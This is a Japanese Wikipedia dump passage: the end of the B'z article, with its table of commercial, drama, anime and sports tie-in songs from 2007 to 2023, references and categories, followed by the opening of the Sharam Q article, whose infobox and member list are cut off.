|『[[日本バスケットボールリーグ|JAPAN BASKETBALL LEAGUE]] 2007-2008』オフィシャルソング
|-
|[[ACTION (B'zのアルバム)#収録曲|パーフェクトライフ]]
|[[エムティーアイ]]「[[music.jp]]」CMソング
|-
|rowspan="3"|2008年
|FRICTION
|エレクトロニック・アーツ『[[バーンアウト パラダイス]]』挿入歌
|-
|[[BURN -フメツノフェイス-]]
|[[コーセー]]「[[エスプリーク・プレシャス]]」CMソング<ref>{{Cite web|和書|url=https://bz-vermillion.com/discography/sg_45.html |title=BURN -フメツノフェイス- |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|[[B'z The Best "ULTRA Treasure"#DISC 3(3CD版のみ)|いつかまたここで]]
|テレビ朝日系木曜ドラマ『[[小児救命]]』主題歌<ref>{{Cite web|和書|url=https://natalie.mu/music/news/9577 |title=B'z新曲が小児医療ドラマに鋭いメスを入れる |date=2008-09-16 |work=ナタリー |accessdate=2018-06-11}}</ref>
|-
|rowspan="5"|2009年
|[[ZERO (B'zの曲)|ZERO]]
|[[麒麟麦酒|キリンビール]]「麒麟ZERO」CMソング<ref>{{Cite web |url=https://bz-vermillion.com/discography/sg_11.html |title=ZERO |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref><ref>{{Cite web|和書|url=https://natalie.mu/music/news/13774 |title=B'zのキラーチューン「ZERO」で発泡酒のうまみ倍増 |date=2009-02-25 |work=ナタリー |accessdate=2018-06-11}}</ref>
|-
|[[イチブトゼンブ/DIVE|DIVE]]
|[[スズキ (企業)|スズキ]]「[[スズキ・スイフト|スイフト]]」TVCMソング<ref name="BARKS2018.6"/><ref name="46th Single">{{Cite web|和書|url=https://bz-vermillion.com/discography/sg_46.html |title=イチブトゼンブ / DIVE |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|[[イチブトゼンブ/DIVE|イチブトゼンブ]]
|フジテレビ系[[フジテレビ月曜9時枠の連続ドラマ|月曜9時ドラマ]]『[[ブザー・ビート〜崖っぷちのヒーロー〜]]』主題歌<ref name="BARKS2018.6"/><ref name="46th Single"/>
|-
|[[MY LONELY TOWN#収録曲|イチブトゼンブ -Ballad Version-]]
|フジテレビ系月曜9時ドラマ『ブザー・ビート〜崖っぷちのヒーロー〜』挿入歌<ref>{{Cite web |url=https://bz-vermillion.com/discography/sg_47.html |title=MY LONELY TOWN |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|[[MAGIC (B'zのアルバム)#収録曲|PRAY]]
|東急系映画『[[TAJOMARU]]』主題歌<ref>{{Cite web|和書|url=https://natalie.mu/music/news/18417 |title=B'z新曲が小栗旬主演映画「TAJOMARU」主題歌に決定 |date=2009-07-06 |work=ナタリー |accessdate=2018-06-11}}</ref>
|-
|2010年
|[[MAGIC (B'zのアルバム)#収録曲|long time no see]]
|テレビ朝日系[[金曜ナイトドラマ]]『[[サラリーマン金太郎 (永井大のテレビドラマ)|サラリーマン金太郎2]]』主題歌<ref>{{Cite web|和書|url=https://natalie.mu/music/news/23901 |title=B'zのニューアルバム収録曲が「サラ金」タイアップ決定 |date=2009-11-17 |work=ナタリー |accessdate=2018-06-11}}</ref>
|-
|rowspan="8"|2011年
|[[さよなら傷だらけの日々よ]]
|[[ペプシコーラ]]「ペプシネックス」エフェクト篇・荒野篇 TVCMソング<ref>{{Cite web|和書|url=https://bz-vermillion.com/discography/sg_48.html |title=さよなら傷だらけの日々よ |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref><ref>{{Cite news |url=https://www.cdjournal.com/main/news/bz/36864 |title=B'z、「ペプシネックス」新CMに出演! 新曲披露! |date=2011-02-22 |work=CDJournal |accessdate=2020-01-15}}</ref>
|-
|rowspan="2"|[[Don't Wanna Lie]]
|東宝系映画『[[名探偵コナン 沈黙の15分]]』主題歌<ref name="49th Single">{{Cite web |url=https://bz-vermillion.com/discography/sg_49.html |title=Don't Wanna Lie |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref><ref name="ナタリー2011.3">{{Cite web|和書|url=https://natalie.mu/music/news/45989 |title=B'zコナン劇場版&アニメOP提供「はりきって制作した」 |date=2011-03-05 |work=ナタリー |accessdate=2018-06-11}}</ref>
|-
|読売テレビ・日本テレビ系アニメ『名探偵コナン』オープニングテーマ<ref name="49th Single"/><ref name="ナタリー2011.3"/>
|-
|[[Don't Wanna Lie#収録曲|Homebound]]
|TBS系『[[NEWS23X]]』エンディングテーマ<ref name="49th Single"/><ref>{{Cite web|和書|url=https://natalie.mu/music/news/47380 |title=B'z、新曲バラードが帯番組「NEWS23 X」EDテーマに |date=2011-04-05 |work=ナタリー |accessdate=2018-06-11}}</ref>
|-
|[[C'mon#収録曲|ultra soul 2011]]
|テレビ朝日系『[[2011年世界水泳選手権|世界水泳上海2011]]』テーマソング<ref>{{Cite web|和書|url=https://www.oricon.co.jp/news/88353/full/ |title=B'z、「世界水泳」テーマ曲で「ultra soul」が10年ぶりに復活 |date=2011-06-01 |work=ORICON NEWS |accessdate=2018-06-03}}</ref>
|-
|[[C'mon#収録曲|C'mon]]
|ペプシコーラ「ペプシネックス」People篇 TVCMソング<ref>{{Cite web|和書|url=https://natalie.mu/music/news/52895 |title=B'zペプシCM第2弾は住宅街で熱唱&ライブUst中継も |date=2011-07-12 |work=ナタリー |accessdate=2018-06-11}}</ref>
|-
|[[C'mon#収録曲|ピルグリム]]
|読売テレビ・日本テレビ系アニメ『名探偵コナン』エンディングテーマ
|-
|いつかのメリークリスマス
|ペプシコーラ「ペプシネックス」Xmas Lover篇 TVCMソング<ref name="Natalie2011.12"/>
|-
|rowspan="3"|2012年
|[[さまよえる蒼い弾丸#「さまよえる蒼い弾丸」のバージョン違い|Into Free -Dangan-]]
|[[カプコン]]『[[Dragon's Dogma]]』主題歌<ref>{{Cite web|和書|url=https://natalie.mu/music/news/63686 |title=B'z新曲「Into Free -Dangan-」がカプコンゲーム主題歌に |date=2012-02-01 |work=ナタリー |accessdate=2018-06-11}}</ref>
|-
|[[GO FOR IT, BABY -キオクの山脈-]]
|ペプシコーラ「ペプシネックス」Tshirts Live篇 TVCMソング<ref>{{Cite web|和書|url=https://bz-vermillion.com/discography/sg_50.html |title=GO FOR IT, BABY -キオクの山脈- |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref><ref>{{Cite web|和書|url=https://natalie.mu/music/news/64984 |title=B'z「ペプシネックス」新CMで“Tシャツ”ライブを展開 |date=2012-02-24 |work=ナタリー |accessdate=2018-06-11}}</ref>
|-
|[[B'z (2012年のアルバム)#収録曲|Love Bomb]]
|ペプシコーラ「ペプシネックス」Summer Line篇 TVCMソング<ref name="Natalie2012.07"/>
|-
|rowspan="5"|2013年
|[[B'z The Best XXV 1988-1998#DISC 2|核心]]
|日本テレビ系[[水曜ドラマ (日本テレビ)|水曜ドラマ]]『[[雲の階段]]』主題歌<ref>{{Cite web|和書|url=https://natalie.mu/music/news/88147 |title=B'z、新曲「核心」が長谷川博己主演ドラマ主題歌に |date=2013-04-05 |work=ナタリー |accessdate=2018-06-11}}</ref>
|-
|[[B'z The Best XXV 1999-2012#DISC 2|Q&A]]
|読売テレビ・日本テレビ系アニメ『名探偵コナン』オープニングテーマ<ref>{{Cite web|和書|url=https://natalie.mu/music/news/88355 |title=B'z、ベスト盤収録の新曲「Q&A」コナンOPテーマに決定 |date=2013-04-09 |work=ナタリー |accessdate=2018-06-11}}</ref>
|-
|ultra soul
|テレビ朝日系『[[2013年世界水泳選手権|世界水泳バルセロナ2013]]』テーマソング
|-
|[[B'z The Best XXV 1999-2012#DISC 2|ユートピア]]
|テレビ朝日系木曜ドラマ『[[DOCTORS〜最強の名医〜|DOCTORS 2〜最強の名医〜]]』主題歌<ref>{{Cite web|和書|url=https://natalie.mu/music/news/92428 |title=B'z、沢村一樹主演ドラマ「DOCTORS 2」主題歌書き下ろし |date=2013-06-10 |work=ナタリー |accessdate=2018-06-11}}</ref>
|-
|ギリギリchop
|[[ユービーアイソフト]]『[[Rocksmith|Rocksmith2014]]』CMソング
|-
|rowspan="3"|2014年
|ultra soul
|テレビ朝日系『[[2014年パンパシフィック水泳選手権|パンパシ水泳ゴールドコースト2014]]』テーマソング
|-
|[[EPIC DAY#収録曲|Exit To The Sun]]
|NHKドラマ『[[ダークスーツ]]』主題歌<ref>{{Cite web|和書|url=https://natalie.mu/music/news/131137 |title=B'z 、ファン待望の新曲「Exit To The Sun」がNHKドラマ主題歌に |date=2014-11-13 |work=ナタリー |accessdate=2018-06-11}}</ref>
|-
|[[EPIC DAY#収録曲|NO EXCUSE]]
|[[スミノフ]]/キリンビール「[[スミノフ#スミノフアイス|スミノフアイス]]」CMソング<ref>{{Cite web|和書|url=https://natalie.mu/music/news/132382 |title=B'z 、新曲「NO EXCUSE」はスミノフアイスCMソング |date=2014-11-28 |work=ナタリー |accessdate=2018-06-11}}</ref>
|-
|rowspan="7"|2015年
|[[有頂天 (B'zの曲)|有頂天]]
|日本テレビ系土曜ドラマ『[[学校のカイダン]]』主題歌<ref>{{Cite web|和書|url=https://bz-vermillion.com/discography/sg_51.html |title=有頂天 |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref><ref>{{Cite news |url=https://www.billboard-japan.com/d_news/detail/24294/2 |title=B'z 約3年ぶりの新Sg『有頂天』ドラマ『学校のカイダン』主題歌に |work=[[Billboard JAPAN]] |date=2014-12-03 |accessdate=2020-01-15}}</ref>
|-
|[[EPIC DAY#収録曲|アマリニモ]]
|[[エイチ・アイ・エス|H.I.S.]]「花編」「ハウステンボス編」CMソング<ref>{{Cite web|和書|url=https://bz-vermillion.com/news/150116.html|title=B’z 新曲「アマリニモ」『H.I.S.』CMソングに決定!!|date=2015-01-16 |website=B'z Official Website |publisher=VERMILLION RECORDS |accessdate=2021-05-28}}</ref>
|-
|[[EPIC DAY#収録曲|Las Vegas]]
|『[[2015年レッドブル・エアレース・ワールドシリーズ 千葉|Red Bull Air Race Chiba 2015]]』テーマソング<ref>{{Cite web|和書|url=https://www.redbull.com/jp-ja/red-bull-air-race-chiba-2015-official-supporter-b-z |title=B’zがRed Bull Air Race Chiba 2015のオフィシャルサポーターに! |work=[[Red Bull]] |date=2015-02-12 |accessdate=2020-01-15}}</ref>
|-
|[[EPIC DAY#収録曲|君を気にしない日など]]
|[[ハウステンボス]]「111万本のバラ祭り」CMソング
|-
|rowspan="2"|[[RED (B'zの曲)|RED]]
|[[スカパー!プレミアムサービス|スカパー!]] [[セ・パ交流戦|プロ野球交流戦]]「もっと、ドキドキな毎日『黒田篇』」TVCMソング<ref name="52nd Single">{{Cite web |url=https://bz-vermillion.com/discography/sg_52.html |title=RED |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref><ref>{{Cite web|和書|url=https://www.barks.jp/news/?id=1000115640 |title=B'zの「RED」、『スカパー! プロ野球交流戦』最新CM曲に |date=2015-05-15 |work=BARKS |accessdate=2018-06-08}}</ref>
|-
|日本テレビ系『[[スッキリ (テレビ番組)|スッキリ!!]]』6月テーマソング<ref name="52nd Single"/>
|-
|ultra soul
|テレビ朝日系『[[2015年世界水泳選手権|世界水泳ロシア・カザン2015]]』テーマソング
|-
|rowspan="3"|2016年
|rowspan="2"|[[世界はあなたの色になる]]
|東宝系映画『[[名探偵コナン 純黒の悪夢]]』主題歌<ref name="53rd Single">{{Cite web|和書|url=https://bz-vermillion.com/discography/sg_53.html |title=声明 / Still Alive |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref><ref>{{Cite web|和書|url=https://natalie.mu/music/news/177600 |title=B'z、5年ぶり劇場版「コナン」主題歌に決定 |work=ナタリー |date=2016-02-26 |accessdate=2016-02-26}}</ref>
|-
|読売テレビ・日本テレビ系アニメ『名探偵コナン』オープニングテーマ<ref>{{Cite web|和書|url=https://natalie.mu/music/news/204121 |title=B'z書き下ろし「コナン」映画主題歌、本日より配信リリース |work=ナタリー |date=2016-10-04 |accessdate=2020-01-15}}</ref>
|-
|[[フキアレナサイ]]
|東映系映画 『[[疾風ロンド#映画|疾風ロンド]]』主題歌<ref name="53rd Single"/><ref>{{Cite web|和書|url=https://natalie.mu/eiga/news/201602 |title=阿部寛主演「疾風ロンド」主題歌はB'z書き下ろし曲、特別映像も解禁 |work=ナタリー |date=2016-09-13 |accessdate=2016-09-13}}</ref>
|-
|rowspan="8"|2017年
|rowspan="4"|[[声明/Still Alive|Still Alive]]
|TBS系日曜劇場『[[A LIFE〜愛しき人〜]]』主題歌<ref name="53rd Single"/><ref>{{Cite web|和書|url=https://natalie.mu/music/news/216924 |title=B'z、キムタク主演「A LIFE~愛しき人~」ドラマに新曲書き下ろし |work=ナタリー |date=2017-01-15 |accessdate=2017-01-15}}</ref>
|-
|TBS系『[[有田ジェネレーション]]』6・7月度エンディングテーマ<ref name="still">{{Cite web|和書|url=https://bz-vermillion.com/news/170601.html |title=B’z「Still Alive」TBS各番組 6・7月度テーマソングに決定!!|date=2017-06-01 |accessdate=2019-01-27}}</ref>
|-
|TBS『イベントGO!』6月度オープニングテーマ<ref name="still"/>
|-
|TBS系『[[ランク王国]]』6・7月度オープニングテーマ<ref name="still"/>
|-
|[[声明/Still Alive|声明]]
|[[UCC上島珈琲]]「UCC BLACK無糖」TVCMソング<ref name="53rd Single"/><ref>{{Cite web|和書|url=https://natalie.mu/music/news/232252 |title=B'z、2年ぶりシングルは「UCC」CMソング&「A LIFE」主題歌の両A面 |date=2017-05-12 |work=ナタリー |accessdate=2018-06-11}}</ref>
|-
|ultra soul
|テレビ朝日系『[[2017年世界水泳選手権|世界水泳ブダペスト2017]]』テーマソング
|-
|rowspan="2"|[[DINOSAUR (B'zのアルバム)#収録曲|CHAMP]]
|B'z×[[セブン-イレブン]]フェア TVCMソング<ref name="BARKS2017.6"/>
|-
|「[[セブンネットショッピング]]」TVCMソング
|-
|rowspan="7"|2018年
|[[DINOSAUR (B'zのアルバム)#収録曲|Dinosaur]]
|[[ワーナー・ブラザース]]映画『[[ジオストーム (映画)|ジオストーム]]』日本語吹替版主題歌<ref>{{Cite web|和書|url=https://natalie.mu/music/news/256637 |title=B'z新曲が映画「ジオストーム」吹替版主題歌に、監督は「出会うべくして出会った楽曲」 |date=2017-11-14 |work=ナタリー |accessdate=2018-06-11}}</ref>
|-
|[[DINOSAUR (B'zのアルバム)#収録曲|King Of The Street]]
| [[コーエーテクモゲームス]]『[[真・三國無双8]]』テーマソング<ref>{{Cite web|和書|url=https://natalie.mu/music/news/257223 |title=B'z新曲が「真・三國無双8」テーマソングに、楽曲流れるトレイラー公開 |date=2017-11-17 |work=ナタリー |accessdate=2018-06-11}}</ref>
|-
|ultra soul
|テレビ朝日系『[[2018年パンパシフィック水泳選手権|パンパシ水泳東京2018]]』テーマソング
|-
|[[NEW LOVE#収録曲|マジェスティック]]
|[[江崎グリコ]]「[[ポッキー]]」CM主題歌<ref>{{Cite web|和書|url=https://natalie.mu/music/news/297640 |title=B'z「ポッキー」CMに新曲書き下ろし、宮沢りえ母親役のストーリー彩る |date=2018-08-31 |work=ナタリー |accessdate=2018-11-23}}</ref><ref>{{Cite web|和書|url=https://natalie.mu/music/news/301998 |title=B'z新曲「マジェスティック」がフルバージョンで流れる「ポッキー」Web限定動画公開 |date=2018-10-02 |work=ナタリー |accessdate=2018-11-23}}</ref>
|-
|[[NEW LOVE#収録曲|WOLF]]
|フジテレビ系月曜9時ドラマ『[[SUITS/スーツ (日本のテレビドラマ)|SUITS/スーツ]]』主題歌<ref>{{Cite web|和書|url=https://natalie.mu/music/news/302847 |title=B'z、織田裕二×JUMP中島裕翔の月9ドラマ「SUITS」主題歌書き下ろし |date=2018-10-08 |work=ナタリー |accessdate=2018-11-23}}</ref>
|-
|[[NEW LOVE#収録曲|兵、走る]]
|[[大正製薬]]「[[リポビタンD]]」[[ラグビー日本代表]]応援ソング・「最強の自分」篇 CMソング<ref>{{Cite web|和書|url=https://natalie.mu/music/news/306054 |title=B'zが新曲でラグビー日本代表を応援「畏敬の念を抱きながら作りました」 |date=2018-11-01 |work=ナタリー |accessdate=2018-11-23}}</ref>
|-
|WOLF バラードバージョン
|フジテレビ系月曜9時ドラマ『SUITS/スーツ』挿入歌<ref>{{Cite tweet |title=『SUITS/スーツ』#8 終わりました |number=1067041940732956677 |user=drama_suits |date=2018-11-26 |accessdate=2021-11-06 |author=『SUITS/スーツ2』}}</ref>
|-
|rowspan="5"|2019年
|マジェスティック
|江崎グリコ「ポッキー」CM主題歌
|-
|兵、走る
|大正製薬「リポビタンD」ラグビー日本代表応援ソング・「最強の自分」篇・「日本への熱き想い」篇<ref name="SANKEI">{{Cite web|和書|url=https://www.sankei.com/article/20191009-J2YKFDLIANJMZEKPLRI6UGM4ZQ/ |title=【CMウオッチャー】ファイト一発!ラグビー日本代表を応援 |date=2019-10-09 |work=[[産経新聞]] |publisher=[[産業経済新聞社]] |accessdate=2020-04-10}}</ref>・「諦めない強さ」篇<ref name="SANKEI"/>・「支える人を支えたい」篇<ref name="SANKEI"/>・「立ち向かう人」篇 CMソング
|-
|[[NEW LOVE#収録曲|デウス]]
|スズキ「[[スズキ・エスクード|エスクード]]」TVCMソング<ref>{{Cite web|和書|url=https://natalie.mu/music/news/326580 |title=B'z新曲「デウス」がスズキ「エスクード」CMソングに |date=2019-04-03 |work=ナタリー |accessdate=2019-06-01}}</ref>
|-
|ultra soul
|テレビ朝日系『[[2019年世界水泳選手権|世界水泳韓国・光州2019]]』テーマソング
|-
|[[きみとなら]]
|テレビ朝日系[[土曜ナイトドラマ (テレビ朝日)|土曜ナイトドラマ]]『[[べしゃり暮らし]]』主題歌<ref>{{Cite web|和書|url=https://natalie.mu/music/news/338937 |title=B'zが間宮祥太朗主演ドラマ「べしゃり暮らし」主題歌書き下ろし、劇団ひとり「夢のよう」 |date=2019-07-06 |work=ナタリー |accessdate=2019-07-09}}</ref>
|-
|rowspan="3"|2020年
|マジェスティック
|江崎グリコ「ポッキー」CM主題歌
|-
|兵、走る
|大正製薬「リポビタンD」ラグビー日本代表応援ソング・「今日の全力に」篇 CMソング<ref>{{Cite web|和書|url=https://bz-vermillion.com/news/200413.html |title=B'z「兵、走る」リポビタンD 新CMスタート!! |date=2020-04-13 |website=B'z Official Website |publisher=VERMILLION RECORDS |accessdate=2021-11-06}}</ref>
|-
|WOLF
|フジテレビ系月曜9時ドラマ『[[SUITS/スーツ (日本のテレビドラマ)|SUITS/スーツ2]]』主題歌<ref>{{Cite web|和書|url=https://bz-vermillion.com/news/200413_3.html|title=B'z「WOLF」フジテレビ系月曜9時ドラマ『SUITS/スーツ2』主題歌に決定!! |date=2020-04-13|website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-14}}</ref><ref>{{Cite tweet|title=主題歌 B'z 『WOLF』に決定 |number=1249690036745854976 |user=drama_suits |date=2020-04-13 |accessdate=2021-11-06 |author=『SUITS/スーツ2』}}</ref>
|-
|rowspan="3"|2021年
|熱き鼓動の果て
|テレビ朝日『[[世界ラリー選手権|WRC世界ラリー]]』テーマソング<ref>{{Cite web|和書|url=https://bz-vermillion.com/news/210401.html |title=B'z「熱き鼓動の果て」テレビ朝日『WRC世界ラリー』テーマソングに決定!!|date=2021-04-01 |website=B'z Official Website |publisher=VERMILLION RECORDS |accessdate=2021-04-01}}</ref>
|-
|マジェスティック
|江崎グリコ「ポッキー」CM主題歌<ref>{{Cite web|和書|url=https://bz-vermillion.com/news/210415.html |title=B'z「マジェスティック」主題歌・ポッキー新WEBムービー「2021年 巣立ち」篇 公開!! |date=2021-04-15 |website=B'z Official Website |publisher=VERMILLION RECORDS |accessdate=2021-04-15}}</ref>
|-
|兵、走る
|大正製薬「リポビタンD」ラグビー日本代表応援ソング・「次へ向かうチカラ」篇 CMソング<ref>{{Cite tweet|title=リポビタンD×ラグビー「次へ向かうチカラ」篇公開 |number=1403547961980637185 |user=Lipod_Rugby |date=2021-06-12 |accessdate=2021-11-06 |author=【リポD】ラグビー応援部}}</ref>
|-
| rowspan="6" |2022年
|rowspan="2"|[[Highway X#収録曲|リヴ]]
|ワーナー・ブラザース映画『[[嘘喰い#実写映画|嘘喰い]]』主題歌<ref>{{Cite web|和書|url=https://natalie.mu/music/news/458008 |title=B'zが横浜流星主演の映画「嘘喰い」に主題歌「リヴ」書き下ろし |date=2021-12-17 |work=ナタリー |accessdate=2022-01-02}}</ref>
|-
|[[dTV (NTTドコモ)|dTV]]オリジナルドラマ『[[嘘喰い#実写映画|嘘喰い -鞍馬蘭子篇/梶隆臣篇-]]』主題歌<ref>{{Cite web|和書|url=https://realsound.jp/movie/2022/01/post-956366.html |title=白石麻衣のアクションシーンやムチを振るう姿も 『嘘喰い -鞍馬蘭子篇-』最新予告公開 |date=2021-01-28 |work=[[リアルサウンド]] |accessdate=2022-01-30}}</ref>
|-
|[[SLEEPLESS (B'zの曲)|SLEEPLESS]]
|読売テレビ・日本テレビ系アニメ『名探偵コナン』オープニングテーマ<ref>{{Cite web|和書|url=https://bz-vermillion.com/news/220105.html |title=B’z 新曲「SLEEPLESS」テレビアニメ『名探偵コナン』オープニングテーマとして1月8日から放送決定!! |date=2022-01-05 |website=B'z Official Website |publisher=VERMILLION RECORDS |accessdate=2022-01-05}}</ref>
|-
|[[Highway X#収録曲|COMEBACK -愛しき破片-]]
|テレビ朝日系木曜ドラマ『[[未来への10カウント]]』主題歌<ref>{{Cite web|和書|url=https://bz-vermillion.com/news/220405.html|title=B’z 新曲「COMEBACK -愛しき破片-」テレビ朝日系木曜ドラマ『未来への10カウント』主題歌に決定!! |date=2022-04-05 |website=B'z Official Website |publisher=VERMILLION RECORDS |accessdate=2022-04-05}}</ref>
|-
|ultra soul
|テレビ朝日系『[[2022年世界水泳選手権|世界水泳ブダペスト2022]]』テーマソング<ref name="bz20220526">{{Cite web|和書|url=http://bz-vermillion.com/news/220526.html |title=B’z 新曲「You Are My Best」テレビ朝日系・世界水泳応援ソングに決定!! |date=2022-05-26 |website=B'z Official Website |publisher=VERMILLION RECORDS |accessdate=2022-05-26}}</ref>
|-
|[[Highway X#収録曲|You Are My Best]]
| テレビ朝日系『世界水泳ブダペスト2022』世界水泳応援ソング<ref name="bz20220526" />
|-
| rowspan="2" |2023年
|[[STARS (B'zの曲)|Dark Rainbow]]
|映画『[[おまえの罪を自白しろ#映画|おまえの罪を自白しろ]]』主題歌<ref>{{Cite web|和書|url=https://www.oricon.co.jp/news/2276399/full/ |title=B’z、映画『おまえの罪を自白しろ』主題歌に新曲提供 主演・中島健人「ビリビリしびれる」 |website=ORICON NEWS |publisher=oricon ME |date=2023-04-24 |accessdate=2023-04-24 }}</ref>
|-
|ultra soul
|テレビ朝日系『[[2023年世界水泳選手権|世界水泳福岡2023]]』テーマソング
|}
== 脚注 ==
{{脚注ヘルプ}}
=== 注釈 ===
{{Notelist}}
=== 出典 ===
{{Reflist|2}}
== 参考文献 ==
<!-- 出版順に記載(ファンクラブ会報誌は除く)。 -->
* {{Cite book|和書|author=藤井徹貫 |title=TMN最後の嘘(トリック) |year=1994 |publisher=[[ソニー・マガジンズ]] |isbn=4789708896 |ref={{SfnRef|藤井徹貫|1994}}}}
* {{Cite book|和書|title=Treasure : B'z Chronicle 1988〜1998 10th anniversary special issue |date=1998-09-20 |publisher=ROOMS RECORDS |ref={{SfnRef|B'z The Book|1998}} |quote=『[[B'z The Best "Treasure"]]』初回特典}}
* {{Cite book|和書|author=小野里歩 |title=新版B'zの素顔 |year=2000 |publisher=スペース |isbn=4-8727-0124-0 |ref={{SfnRef|小野里歩|2000}}}}
* {{Cite book|和書|author=B'z Unreal Music |title=B'z TWELVE |year=2000 |publisher=[[祥伝社]] |isbn=4-396-61118-8 |ref={{SfnRef|B'z Unreal Music|2000}}}}
* {{Cite book|和書|title=音楽誌が書かないJポップ批評14 「B'zの不思議」、再考! |year=2001 |publisher=[[宝島社]] |series=[[別冊宝島]] |isbn=4-7966-2335-3 |ref={{SfnRef|別冊宝島|2001}}}}
* {{Cite book|和書|author=佐伯明 |title=B'z ウルトラクロニクル |year=2003 |publisher=ソニー・マガジンズ |isbn=4-7897-2101-9 |ref={{SfnRef|佐伯明|2003}}}}
* {{Cite book|和書|title=別冊カドカワ 総力特集 B'z |year=2003 |publisher=[[角川書店]] |series=別冊カドカワ |isbn=4-04-721503-1 |ref={{SfnRef|別冊カドカワ|2003}}}}
* {{Cite web |url=http://www.mfmagazine.com/mfm/Bz_Dictionary.html |title=B'z Dictionary |year=2003 |work=Music Freak magazine |publisher=[[エムアールエム]] |accessdate=2018-06-09 |ref={{SfnRef|B'z Dictionary|2003}} |quote=more B'z lifeキャンペーン}}
* {{Cite book|和書|author=グループZERO |title=B'z HISTORY 2006 |year=2006 |publisher=シーエイチシー |isbn=4-86097-165-5 |ref={{SfnRef|グループZero|2006}}}}
* {{Cite book|和書|author=佐伯明 |title=B'z ミラクルクロニクル |year=2008 |publisher=ソニー・マガジンズ |isbn=978-4-7897-3328-1 |ref={{SfnRef|佐伯明|2008}}}}
== 関連項目 ==
{{ウィキポータルリンク|音楽|[[画像:Xmms.png|45px|Portal:音楽]]}}
* [[ミュージシャン一覧 (グループ)]]
* [[日本一の一覧]]
* [[売れた音楽家の一覧|最も売れたアーティスト一覧]]
== 外部リンク ==
{{Commonscat}}
* {{Official website|https://www.bz-vermillion.com|B'z Official Website}}
* {{Facebook|bz.official|B'z}}
* {{Twitter|Bz_Official|B'z}}
* {{Instagram|bz_official_insta|B'z}}
* {{LINE公式アカウント|444ijesw|B'z Official LINE}}
* {{YouTube|user=Bz|B'z Official YouTube Channel}}
{{B'z}}
{{日本ゴールドディスク大賞アーティスト・オブ・ザ・イヤー}}
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{{DEFAULTSORT:ひいす}}
[[Category:B'z|*]]
[[Category:日本のハードロック・バンド]]
[[Category:日本のポップ・ロック・バンド]]
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[[Category:アリオラジャパンのアーティスト]]
[[Category:ビーイング系列所属者]]
[[Category:オリコン年間アルバムチャート1位獲得アーティスト]]
[[Category:日本のギネス世界記録]]
[[Category:サマーソニック出演者]]
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[[Category:2人組の音楽グループ]] | 2003-04-17T01:20:03Z | 2023-12-31T01:26:32Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/B%27z |
6,836 | シャ乱Q | シャ乱Q(しゃらんキュー)は、日本のロックバンド。大阪府出身者で結成された。
所属事務所はアップフロントプロモーション(旧:アップフロントエージェンシー)だったが、現在シャ乱Qとしては、アップフロントプロモーションの親会社・アップフロントグループの社内カンパニー・アップフロントエージェンシー社(アップフロントプロモーションとは別会社を前身とする)に、また各メンバーはそれぞれ別の系列事務所に所属している。
レコード会社は、活動休止前までの所属はBMGファンハウス(旧:BMGビクター→BMGジャパン、現:ソニー・ミュージックレーベルズ)だったが、2006年の活動再開から2014年の活動再休止まではアップフロントグループの機能子会社であるアップフロントワークス(zetimaレーベル)に所属していた。 | [
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| シャ乱Q(しゃらんキュー)は、日本のロックバンド。大阪府出身者で結成された。 所属事務所はアップフロントプロモーション(旧:アップフロントエージェンシー)だったが、現在シャ乱Qとしては、アップフロントプロモーションの親会社・アップフロントグループの社内カンパニー・アップフロントエージェンシー社(アップフロントプロモーションとは別会社を前身とする)に、また各メンバーはそれぞれ別の系列事務所に所属している。 レコード会社は、活動休止前までの所属はBMGファンハウス(旧:BMGビクター→BMGジャパン、現:ソニー・ミュージックレーベルズ)だったが、2006年の活動再開から2014年の活動再休止まではアップフロントグループの機能子会社であるアップフロントワークス(zetimaレーベル)に所属していた。 | {{Infobox Musician <!--プロジェクト:音楽家を参照-->
| Name = シャ乱Q
| Background = band
| Alias = SHARAM Q
| Origin = {{JPN}}
| Instrument =
| Genre = [[J-POP]]<br />[[ポップ・ロック]]<br />[[パワー・ポップ]]<br />[[ファンク]]<br/>[[ガレージ・ロック]]
| Years_active = [[1988年]] - [[2000年]]<br />[[2006年]] - [[2014年]]
| Label = [[BMG JAPAN|BMGビクター→BMGジャパン→BMGファンハウス]]<br />([[1992年]] - 2000年)<br />[[アップフロントワークス|zetima]]<br />(2006年 - 2014年)
| Production = アップフロントエージェンシー<br />[[TNX]](つんく♂)<br />[[ジェイピィールーム]](はたけ、たいせい)<br />[[アップフロントクリエイト]](まこと)
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| URL = [http://www.up-front-agency.co.jp/sharam-q/ シャ乱Qオフィシャルウェブサイト]
| Current_members = [[つんく♂]]([[ボーカル]])<br />[[はたけ]]([[ギター]])<br />[[まこと (ミュージシャン)|まこと]]([[ドラムセット|ドラムス]])<br />[[たいせい]]([[キーボード (楽器)|キーボード]])
| Past_members = [[しゅう]]([[ベース (弦楽器)|ベース]])
| Influences =
}}
'''シャ乱Q'''(しゃらんキュー)は、[[日本]]の[[バンド (音楽)#ロックバンド|ロックバンド]]。[[大阪府]]出身者で結成された。
[[芸能事務所|所属事務所]]は[[アップフロントプロモーション]](旧:アップフロントエージェンシー)だったが、現在シャ乱Qとしては、アップフロントプロモーションの親会社・[[アップフロントグループ]]の[[社内カンパニー]]・アップフロントエージェンシー社(アップフロントプロモーションとは別会社を前身とする)に、また各メンバーはそれぞれ別の系列事務所に所属している。
レコード会社は、活動休止前までの所属は[[BMG JAPAN|BMGファンハウス]](旧:BMGビクター→BMGジャパン、現:[[ソニー・ミュージックレーベルズ]])だったが、2006年の活動再開から2014年の活動再休止まではアップフロントグループの[[機能子会社]]である[[アップフロントワークス]]([[アップフロントワークス#zetima|zetima]]レーベル)に所属していた。
== メンバー ==
* '''[[つんく♂]](旧名・つんく、[[1968年]][[10月29日]] - )<small>({{年数|1968|10|29}}歳)</small>'''
